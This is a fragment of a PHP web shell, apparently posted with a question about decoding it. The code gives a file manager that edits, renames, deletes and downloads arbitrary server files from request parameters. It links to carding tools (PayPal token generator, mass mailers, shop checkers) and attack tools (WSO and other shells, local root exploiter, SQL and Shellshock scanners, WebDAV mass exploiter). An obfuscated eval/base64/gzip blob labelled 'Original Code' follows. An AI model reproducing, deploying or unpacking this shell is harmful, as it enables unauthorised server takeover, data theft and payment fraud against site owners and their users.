        $save = file_put_contents($_GET['file'], $_POST['src']);
        if($save) {
            $act = "<font color=lime>Saved!</font>";
        } else {
            $act = "<font color=red>permission denied</font>";
        }
    echo "".$act."<br>";
    }
    echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
    echo "<form method='post'>
    <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
    <center><input type='submit' value='Save' name='save' style='width: 500px;'>
    </form>";
} elseif($_GET['act'] == 'rename') {
    if($_POST['do_rename']) {
        $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
        if($rename) {
            $act = "<script>window.location='?dir=".$dir."';</script>";
        } else {
            $act = "<font color=red>permission denied</font>";
        }
    echo "".$act."<br>";
    }
    echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
    echo "<form method='post'>
    <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
    <input type='submit' name='do_rename' value='rename'>
    </form>";
} elseif($_GET['act'] == 'delete') {
    $delete = unlink($_GET['file']);
    if($delete) {
        $act = "<script>window.location='?dir=".$dir."';</script>";
    } else {
        $act = "<font color=red>permission denied</font>";
    }
    echo $act;
} else {
    if(is_dir($dir) === true) {
        if(!is_readable($dir)) {
            echo "<font color=red>can't open directory. ( not readable )</font>";
        } else {
            echo '<table width="100%" class="table_home" border="1" cellpadding="3" cellspacing="1" align="center">
            <tr>
            <th class="th_home"><center>Name</center></th>
            <th class="th_home"><center>Type</center></th>
            <th class="th_home"><center>Size</center></th>
            <th class="th_home"><center>Last Modified</center></th>
            <th class="th_home"><center>Owner/Group</center></th>
            <th class="th_home"><center>Permission</center></th>
            <th class="th_home"><center>Action</center></th>
            </tr>';
            $scandir = scandir($dir);
            foreach($scandir as $dirx) {
                $dtype = filetype("$dir/$dirx");
                $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
                if(function_exists('posix_getpwuid')) {
                    $downer = @posix_getpwuid(fileowner("$dir/$dirx"));
                    $downer = $downer['name'];
                } else {
                    //$downer = $uid;
                    $downer = fileowner("$dir/$dirx");
                }
                if(function_exists('posix_getgrgid')) {
                    $dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
                    $dgrp = $dgrp['name'];
                } else {
                    $dgrp = filegroup("$dir/$dirx");
                }
                if(!is_dir("$dir/$dirx")) continue;
                if($dirx === '..') {
                    $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
                } elseif($dirx === '.') {
                    $href = "<a href='?dir=$dir'>$dirx</a>";
                } else {
                    $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
                }
                if($dirx === '.' || $dirx === '..') {
                    $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
                    } else {
                    $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
                }
                echo "<tr>";
                echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAADwklEQVR42rVVX0hbVxz+fjexMf8zMG6JCR2Vxk7asgfpm2QMSsE+1GLd1u2lbC9tHwaljD2220uFIRN8GLg/bw4MK2VVETvHJoExQSZN60bY1iRCmxozadRWk5vk7Jx7vfHkJvNhtAcu99xzfuf7fn++37mEFzzImIyPj1/o7e29oSiKtkZU24Kqqk+Hh4dPjY6O/vW/CZaWlu74/f6TAlgGZ4xp3/F4/MNYLPalGUDsm9/lchlTU1M7NYLJycmPu7q6blSrVeIP448AJd1eIyAxMd4SuGZfqVRgnOUZ0BxKp9OfDgwMXKdUKhULBoPndtOigRrRSWAGGe1sb7PWVjs3YhqB2X73iLa+urr6HWWz2YTP5zsmp6XZEAfTDx7AfqAVNqcdHq+3LjXmuRiFQuEeZTKZn9ra2qKyp+a58DSTSjGHzUH5f9ZYIByCVyeoi9Ic8fr6+jwlk8mbgUDg7H4EP/4wRwdDYVYsFUktqaz7+FFYW1rk1DU9m8vlbtHCwsJXkUjkg/9KTT6fx9T3t9ERDKK9zQ+uNDg9bri8nprazKkxlLeysvI1zczMDPf09FwRC4ZQZC+EopK//0EtpDCXx0MOp5M5XA4wXc4N9vJ8eXn5c5qYmLgWjUav7ZciIcFc9jHzuN1k5wRkUXAvkcBr3d3EZVmrk3gZjor54uLiJzQ2Nna1r6/vMxm0WTRc62xtNUehcJgl7t5FMNQBD4/IaA2zZMV8fn7+IxoZGbnY39//hZE/o5PlvIrv/Noa0n+nUGYV8KaE1+er2YpGazZmZ2cv0dDQ0IXBwcFvZGbRjbLshJtbm1sskUhQZ+ch5m9vr3EbzWXqcg1nenr6fRp4+73z0TdPfitdSxDiqNNFvUhqKmHShq7Xertf4j+/S+TuOMdsvlhDkTteJRx5nUEtAQpHO3yMYT1HeJhmOBgBtreA4o6ey3QS+PO+zKjXsrTxFsH1yhnYXrq1u6wbie1Tg4TIcQHK7/JRwjuX+TWpEuxOhmcc3OEEjp4gzN1k2NwAfp3bO3uom/Aow/Dk4VkiZ3sfj2C6oUIn3gCcbnBQYOMJn7sAUcxSEQh3ggMAL4eApxx8swD8Ftdjt1qBHn6WR0Ur908TrK1HYPNO8C03nt8QVJsoFs7zgMjGnwBfsNSZ6EqSqs6MCut74m3cwKzKu1GqsMUiurPC17OCwMrzZm/wwXqAbym6M6qqh16r366TikVPoSAsl/b2FY1AEG8La4FibSAQ4Mb/RxhrXmNvTZI1qs0bjY/y/n+Z5zBeOMG/LYTnh2D42esAAAAASUVORK5CYII='>$href</td>";
                echo "<td class='td_home'><center>$dtype</center></td>";
                echo "<td class='td_home'><center>-</center></th></td>";
                echo "<td class='td_home'><center>$dtime</center></td>";
                echo "<td class='td_home'><center>$downer/$dgrp</center></td>";
                echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
                echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
                echo "</tr>";
            }
        }
    } else {
        echo "<font color=red>can't open directory.</font>";
    }
        foreach($scandir as $file) {
            $ftype = filetype("$dir/$file");
            $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
            $size = filesize("$dir/$file")/1024;
            $size = round($size,3);
            if(function_exists('posix_getpwuid')) {
                $fowner = @posix_getpwuid(fileowner("$dir/$file"));
                $fowner = $fowner['name'];
            } else {
                //$downer = $uid;
                $fowner = fileowner("$dir/$file");
            }
            if(function_exists('posix_getgrgid')) {
                $fgrp = @posix_getgrgid(filegroup("$dir/$file"));
                $fgrp = $fgrp['name'];
            } else {
                $fgrp = filegroup("$dir/$file");
            }
            if($size > 1024) {
                $size = round($size/1024,2). 'MB';
            } else {
                $size = $size. 'KB';
            }
            if(!is_file("$dir/$file")) continue;
            echo "<tr>";
            echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAFa0lEQVR42qVWW2xUVRTde+6dufPqzDCddoZCkw40TYyooS0iIRr90S+jhBgTP0w0UT4kEhP84EeNQSWQqMRgjQICXyiPBEMMhYC2GCWIAlEendJ3O6923u87d+52n9NKCMES4k1O5t5zz93r7LXW3mcQ5q9NPDbzCMCDX2Ue3/H4gId+90sUwdevX9+3f/9+WN7ejgvztPDu7vs7n+VvLpuFbdu20cGDB/fy85v3AvhraGhoVZPPT9Wa/sAAqqpAwOel9vblRiqV8vNc8W6AWLlcDmYKJajrOuRyOVAUZT4SERiGAVarFUzTBFVV5bOYF8Pn84HVZoNmnxfWPr4Grl69GubPJu4FECpVa1TIFzAWi4HD6SBd15Ev0Gs1crnd2ODAFosC9bpODCIz6OgIo2bXwOt205o1vcgAHf8JoBsNisfjGI/HQFVUqnMQn9cL5UqFODMZSCznnRPTguVyhVpbW7GtrQ1cDgf19vYsChA0mdHJqUlIJpNgNkxwuVxQ02vAmYCnyQONRkPSZNI8VQ67Azo7O2UQu2aDnp6exSni/Ck6E2WKooJzKhaL2MSB+R15PE1Yr9ehVCqD3a5RrVbDJ9atI1wQX6zv6e5enCJFVWl2dhbHxsY4iF0GWRFeAc2B5kVdJCZURaHu+wAEVXYK2wymp6c5GQvYFpzDQOD3N0MqnZK0lYolsCgWUFjwYDAILa0t0nXdq1cvTpHNZqNUOo1pBnE6nZyBjjprYNM0IpMkRUwPu6hOPIfsJPZ+O1pZD+HaBRd1cbzhe2agaRqkMxlIJBKiAKT3DRbW5XSysCRFtvOafKEgRa5Vq1B2A1xM3oRsOQ9ffbwbooPX8qCbfRzzQx6V2wClUikkeE+LDNJpEUx6XdSBgy3IVGE+nwe32y0FjSTH8dvxH6l9WTuuCoTBqWoUK6Xw/Mhl6O87QsWzE5c57rM8UhKAHRNyMC3RmRlkoaXXRaGJrKpcaCwiiqrljXC6s7Rn+nt8amU3WS2IKz1h3iVSRs/gXDUL0VKaDu05gLOHI2c49nMSoFAohFhAinGh3Roelrw7HQ4UNcCCE2eEVaZEiLx7ah8tWeJCu4KkWgjfX/sRqKjSQPQcnpk4DXUTaTyfwJNbj1PlRv5FCZDL54NNnH40GpUuEjsXnLPYsvC6urogFArB0GwEtl54B5Y6vWChOqgWEz5/+jD/WqF/4ij8MHIY9IYFUNFgsP8SRHYNHZMAmWw25PV4iAXGSCQCwlFCH+YfWBNieqQePydOw6+Nk/TCio24sXOTXKMpmqyNBjXQMA1omAZtGdyAY7EUnHv18qgEmEulQ/4lPspkMrLZCSGZGmFFWXSCIsH/T8kT8Kd5jJ4Pv8IA75JEne+6t+8Ns05vD6zFRE6H4xuuxSRAPDkXbA34IcuHhyi2SqUCHo8HBO8iCzaBtO3ArRNwxf4NPBJ4FB5reRKsFoLVLW+xyAokyr/DVPEC1BoEJ0b3wPiwAUdfH/tDAkxH46G2UKtsFSIYA8hNiYoW4vPuUQAkUzE4bW4mtz2LXptBblsDX+6cAAtqdCPzGV5K7oS8rlK2pmL/3gL88nX6EwkwOjkd6ljeRiwojo6OcmvwE/uem12TsKakKxAIgJfb96nruyjjPoABO5BXM/CZZRFABpgsfIHX059CpqbQyKSBO15KlCo58yF5ZJ4dOP/wOj6RRNu93yWa4ZXUdvCFfoMWRxO4rQ3uSwQ1wwJMO/w9FoP3XkvC1E3jDV6+Tx763T29fdt37ISlbW33P5O570SjM5jInqKOzosYXjYHLs2k6yMVPHJsFg59WS4VsrRFBIc7Pvw/f1vMhTgzPET1il409e/LfwBGMiRx8YbaeAAAAABJRU5ErkJggg=='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
            echo "<td class='td_home'><center>$ftype</center></td>";
            echo "<td class='td_home'><center>$size</center></td>";
            echo "<td class='td_home'><center>$ftime</center></td>";
            echo "<td class='td_home'><center>$fowner/$fgrp</center></td>";
            echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
            echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
            echo "</tr>";
        }
      echo "</table>";
        if(!is_readable($dir)) {

        } else {
echo "<center><hr color=deepskyblue>
<form>
<select onchange='if (this.value) window.open(this.value);'>
<option selected='selected' value=''>Carder Tools</option>
<option value='$ling=extractor'>DB Email Extractor</option>
<option value='$ling=promailerv2'>Pro Mailer V2</option>     
<option value='$ling=bukalapak'>BukaLapak Checker</option>        
<option value='$ling=tokped'>TokoPedia Checker</option>  
<option value='$ling=tokenpp'>Paypal Token Generator</option>  
<option value='$ling=mailer'>Mailer</option>
</select>
<noscript><input type='submit' value='Submit'></noscript>
<select onchange='if (this.value) window.open(this.value);'>
<option selected='selected' value=''>Create Tools</option>
<option value='$ling=wso404'>WSO 404 Shell</option>
<option value='$ling=blackhat'>Blackhat Shell</option>
<option value='$ling=noname'>Noname Shell</option>
<option value='$ling=berandal'>Berandal Shell</option>
<option value='$ling=rootex'>Local Root Exploiter (No-Backconnect)</option>
<option value='$ling=sqlscan'>SQL Scanner (Bing Dorker)</option>
<option value='$ling=webdav'>Webdav Mass Exploiter</option>
<option value='$ling=shellshock'>Shell Shock Scanner</option>
<option value='$ling=webconsole'>Web Console</option>
<option value='$ling=iptrack'>IP Tracker</option>
<option value='$ling=lokmed'>Lokmed Auto Exploiter</option>
</select>
<noscript><input type='submit' value='Submit'></noscript>
</form>
</center>";
    }
echo "<center>Copyright &copy; ".date("Y")." <a href='https://instagram.com/x_barakuda' target='_blank'><font color=deepskyblue>".$gue."</a></font><font color=red> #</font><font color=white> Recoded From </font><font color=deepskyblue>All Indonesian Web Shell</font></center>";
}
?>
</body>
</html>

Did this file decode correctly?

Original Code

eval(strrev(str_rot13(gzuncompress(base64_decode(str_replace('xln', 'A', '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